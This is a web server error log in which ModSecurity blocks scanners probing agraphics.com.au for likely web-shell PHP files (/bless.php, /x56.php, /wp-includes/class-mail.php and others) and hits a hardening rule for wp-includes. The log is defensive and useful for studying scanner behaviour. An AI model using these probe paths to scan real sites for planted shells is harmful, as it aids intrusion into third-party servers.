[Fri Feb 13 00:18:53.983893 2026] [:error] [pid 63418:tid 63494] [client 20.215.189.110:7549] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aY39bdzjh-bbJnStPZIaxAAAAJI"]
[Fri Feb 13 00:18:54.774912 2026] [:error] [pid 46603:tid 46607] [client 20.215.189.110:12224] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aY39bvEi6O39v05JNJey3wAAAQI"]
[Fri Feb 13 00:18:55.385028 2026] [:error] [pid 46718:tid 46725] [client 20.215.189.110:14366] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aY39b0dfX45LelQwruRn6QAAAcQ"]
[Fri Feb 13 00:18:56.096216 2026] [:error] [pid 63418:tid 63500] [client 20.215.189.110:5941] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aY39cNzjh-bbJnStPZIaxwAAAJg"]
[Fri Feb 13 00:18:56.708354 2026] [:error] [pid 63418:tid 63480] [client 20.215.189.110:14976] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aY39cNzjh-bbJnStPZIayAAAAIQ"]
[Fri Feb 13 00:18:57.408771 2026] [:error] [pid 46603:tid 46622] [client 20.215.189.110:12263] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aY39cfEi6O39v05JNJey4wAAARE"]
[Fri Feb 13 00:18:58.069930 2026] [:error] [pid 63417:tid 63462] [client 20.215.189.110:15029] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aY39cv8gSb97qRMtXCIgLgAAAE0"]
[Fri Feb 13 00:18:58.923128 2026] [:error] [pid 63511:tid 63520] [client 20.215.189.110:17510] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aY39cqQCQbD5BgeyIk1TNwAAAAc"]
[Fri Feb 13 00:18:59.805608 2026] [:error] [pid 65064:tid 65075] [client 20.215.189.110:9223] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aY39cxOvRgscTcqsMBkzzQAAAMg"]
[Fri Feb 13 00:19:00.399615 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:15033] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aY39dKQCQbD5BgeyIk1TOAAAABQ"]
[Fri Feb 13 00:19:01.330402 2026] [:error] [pid 46675:tid 46695] [client 20.215.189.110:44592] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aY39dTuaQILPonWFiQmm4AAAAVE"]
[Fri Feb 13 00:19:02.060030 2026] [:error] [pid 46675:tid 46696] [client 20.215.189.110:10090] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aY39djuaQILPonWFiQmm4QAAAVI"]
[Fri Feb 13 00:19:02.681405 2026] [:error] [pid 46603:tid 46628] [client 20.215.189.110:8032] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aY39dvEi6O39v05JNJey6wAAARc"]
[Fri Feb 13 00:19:03.429361 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:43979] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aY39d0dfX45LelQwruRn9QAAAck"]
[Fri Feb 13 00:19:04.264347 2026] [:error] [pid 46718:tid 46722] [client 20.215.189.110:11784] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aY39eEdfX45LelQwruRn9wAAAcE"]
[Fri Feb 13 00:19:04.997892 2026] [:error] [pid 63417:tid 63458] [client 20.215.189.110:32030] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aY39eP8gSb97qRMtXCIgMAAAAEk"]
[Fri Feb 13 00:19:05.828471 2026] [proxy_fcgi:error] [pid 46675:tid 46693] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:06.364075 2026] [proxy_fcgi:error] [pid 46675:tid 46701] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:06.624011 2026] [proxy_fcgi:error] [pid 46675:tid 46685] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:06.920107 2026] [proxy_fcgi:error] [pid 46675:tid 46680] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:07.179899 2026] [proxy_fcgi:error] [pid 46675:tid 46702] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:07.439077 2026] [proxy_fcgi:error] [pid 46675:tid 46695] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:07.716059 2026] [proxy_fcgi:error] [pid 46675:tid 46686] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:07.974069 2026] [proxy_fcgi:error] [pid 46675:tid 46690] [client 20.215.189.110:11812] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:08.232924 2026] [:error] [pid 46675:tid 46696] [client 20.215.189.110:11812] [client 20.215.189.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aY39fDuaQILPonWFiQmm8gAAAVI"]
[Fri Feb 13 00:19:09.440846 2026] [proxy_fcgi:error] [pid 46718:tid 46739] [client 20.215.189.110:5452] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:19:09.699431 2026] [:error] [pid 46718:tid 46726] [client 20.215.189.110:5452] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aY39fUdfX45LelQwruRoAAAAAcU"]
[Fri Feb 13 00:19:10.385655 2026] [:error] [pid 46718:tid 46736] [client 20.215.189.110:15918] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aY39fkdfX45LelQwruRoAwAAAc8"]
[Fri Feb 13 00:19:11.279820 2026] [:error] [pid 63417:tid 63466] [client 20.215.189.110:39620] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aY39f_8gSb97qRMtXCIgPgAAAFE"]
[Fri Feb 13 00:19:12.257812 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:45622] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jsond.php"] [unique_id "aY39gDuaQILPonWFiQmm9AAAAUo"]
[Fri Feb 13 00:19:12.858411 2026] [:error] [pid 46603:tid 46608] [client 20.215.189.110:30995] [client 20.215.189.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-mail.php"] [unique_id "aY39gPEi6O39v05JNJey9gAAAQM"]
[Fri Feb 13 00:33:57.906156 2026] [:error] [pid 23410:tid 23431] [client 64.89.163.24:56863] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aY4A9RXZP6NFBacuW_0FewAAAJM"]
[Fri Feb 13 00:33:59.294535 2026] [:error] [pid 37512:tid 37624] [client 64.89.163.24:58428] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aY4A99De69znS-f6vSY1bAAAAA4"]
[Fri Feb 13 00:34:00.915318 2026] [:error] [pid 37510:tid 37528] [client 64.89.163.24:58299] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aY4A-MUrqDPNSf1wYBWB6QAAAYw"]
[Fri Feb 13 00:34:02.541590 2026] [:error] [pid 37511:tid 37581] [client 64.89.163.24:58298] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aY4A-u8EBJ86uZdxpA1plQAAAEE"]
[Fri Feb 13 00:34:04.760568 2026] [:error] [pid 37511:tid 37602] [client 64.89.163.24:53668] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aY4A_O8EBJ86uZdxpA1p0QAAAFU"]
[Fri Feb 13 03:06:44.182718 2026] [proxy_fcgi:error] [pid 37512:tid 37608] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:44.437572 2026] [proxy_fcgi:error] [pid 37512:tid 37631] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:44.949737 2026] [proxy_fcgi:error] [pid 37512:tid 37615] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:45.204505 2026] [proxy_fcgi:error] [pid 37512:tid 37619] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:45.461328 2026] [proxy_fcgi:error] [pid 37512:tid 37621] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:45.716293 2026] [proxy_fcgi:error] [pid 37512:tid 37624] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:45.972262 2026] [proxy_fcgi:error] [pid 37512:tid 37612] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:46.483535 2026] [proxy_fcgi:error] [pid 37512:tid 37627] [client 20.234.103.39:6486] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:06:46.734327 2026] [:error] [pid 37512:tid 37632] [client 20.234.103.39:6486] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aY4kxtDe69znS-f6vSZtggAAABU"]
[Fri Feb 13 03:06:47.255461 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6503] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aY4kxxXZP6NFBacuW_1aFAAAAIY"]
[Fri Feb 13 03:06:47.797142 2026] [:error] [pid 37511:tid 37582] [client 20.234.103.39:6523] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aY4kx-8EBJ86uZdxpA2hxQAAAEI"]
[Fri Feb 13 03:06:48.298401 2026] [:error] [pid 23410:tid 23417] [client 20.234.103.39:6405] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tx1.php"] [unique_id "aY4kyBXZP6NFBacuW_1aGQAAAIU"]
[Fri Feb 13 03:06:48.798349 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6477] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aY4kyBXZP6NFBacuW_1aGwAAAIk"]
[Fri Feb 13 03:06:49.301122 2026] [:error] [pid 23410:tid 23420] [client 20.234.103.39:6511] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aY4kyRXZP6NFBacuW_1aHgAAAIg"]
[Fri Feb 13 03:06:49.804508 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6402] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aY4kyRXZP6NFBacuW_1aIQAAAJM"]
[Fri Feb 13 03:06:50.305395 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:6410] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xv.php"] [unique_id "aY4kyhXZP6NFBacuW_1aIwAAAI0"]
[Fri Feb 13 03:06:50.817221 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6491] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aY4kypUcWP4qWM7hWsky0QAAANA"]
[Fri Feb 13 03:06:51.320151 2026] [:error] [pid 23410:tid 23427] [client 20.234.103.39:6505] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aY4kyxXZP6NFBacuW_1aJQAAAI8"]
[Fri Feb 13 03:06:51.837208 2026] [:error] [pid 37512:tid 37624] [client 20.234.103.39:6512] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aY4ky9De69znS-f6vSZtigAAAA4"]
[Fri Feb 13 03:06:52.366207 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:6472] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x56.php"] [unique_id "aY4kzJUcWP4qWM7hWsky1QAAAMk"]
[Fri Feb 13 03:06:52.869671 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6475] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aY4kzBXZP6NFBacuW_1aKgAAAJQ"]
[Fri Feb 13 03:06:53.383566 2026] [:error] [pid 37856:tid 37865] [client 20.234.103.39:6480] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aY4kzZUcWP4qWM7hWsky2gAAAMY"]
[Fri Feb 13 03:06:53.968306 2026] [:error] [pid 37512:tid 37618] [client 20.234.103.39:6500] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aY4kzdDe69znS-f6vSZtjQAAAAk"]
[Fri Feb 13 03:06:54.475672 2026] [:error] [pid 23410:tid 23413] [client 20.234.103.39:6478] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/htaccess.php"] [unique_id "aY4kzhXZP6NFBacuW_1aLQAAAIE"]
[Fri Feb 13 03:06:54.993721 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:6409] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aY4kztDe69znS-f6vSZtjwAAAA8"]
[Fri Feb 13 03:06:55.561840 2026] [:error] [pid 23410:tid 23434] [client 20.234.103.39:6499] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aY4kzxXZP6NFBacuW_1aMAAAAJY"]
[Fri Feb 13 03:06:56.062952 2026] [:error] [pid 37856:tid 37883] [client 20.234.103.39:6408] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aY4k0JUcWP4qWM7hWsky3wAAANg"]
[Fri Feb 13 03:06:56.571698 2026] [:error] [pid 37511:tid 37599] [client 20.234.103.39:6465] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/readme.php"] [unique_id "aY4k0O8EBJ86uZdxpA2hzAAAAFI"]
[Fri Feb 13 03:06:57.074669 2026] [:error] [pid 37512:tid 37631] [client 20.234.103.39:6508] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aY4k0dDe69znS-f6vSZtkgAAABQ"]
[Fri Feb 13 03:06:57.592420 2026] [:error] [pid 37510:tid 37541] [client 20.234.103.39:6514] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aY4k0cUrqDPNSf1wYBW7wgAAAZg"]
[Fri Feb 13 03:06:58.096050 2026] [:error] [pid 37856:tid 37871] [client 20.234.103.39:6470] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aY4k0pUcWP4qWM7hWsky4AAAAMw"]
[Fri Feb 13 03:06:58.596848 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6496] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x50.php"] [unique_id "aY4k0tDe69znS-f6vSZtlwAAAAQ"]
